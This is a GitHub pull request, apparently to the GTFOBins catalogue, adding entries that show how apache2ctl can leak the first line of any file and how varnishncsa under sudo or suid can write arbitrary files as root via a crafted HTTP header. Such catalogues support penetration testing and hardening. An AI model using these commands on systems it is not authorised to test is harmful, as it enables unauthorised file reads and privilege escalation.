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Add varnishncsa & apache2ctl #394

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merged 5 commits into from
Dec 23, 2023
Merged

Add varnishncsa & apache2ctl #394

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2c9f0de
Add varnishncsa & apache2ctl
nuts7 Jun 19, 2023
0190295
Simplify apache2ctl
cyrus-and Dec 23, 2023
efaf1b1
Polish varnishncsa
cyrus-and Dec 23, 2023
d714107
Fix broken YAML in varnishncsa
cyrus-and Dec 23, 2023
914c850
Fix broken YAML in varnishncsa
cyrus-and Dec 23, 2023
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12 changes: 12 additions & 0 deletions _gtfobins/apache2ctl.md
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Original file line number Diff line number Diff line change
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---
description: This includes the file in the actual configuration file, the first line is leaked as an error message.
functions:
file-read:
- code: |
LFILE=file_to_read
apache2ctl -c "Include $LFILE" -k stop
sudo:
- code: |
LFILE=file_to_read
sudo apache2ctl -c "Include $LFILE" -k stop
---
17 changes: 17 additions & 0 deletions _gtfobins/varnishncsa.md
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---
description: |
This allows to write arbitrary files as root, provided that the proper HTTP response is made. Specifically the content of a certain header will be written in the file. First start `varnishncsa` as follows, then trigger the file write with:

```
curl -H 'yyy: DATA' http://localhost:6081/xxx
```
functions:
sudo:
- code: |
LFILE=file_to_write
sudo varnishncsa -g request -q 'ReqURL ~ "/xxx"' -F '%{yyy}i' -w "$LFILE"
suid:
- code: |
LFILE=file_to_write
./varnishncsa -g request -q 'ReqURL ~ "/xxx"' -F '%{yyy}i' -w "$LFILE"
---
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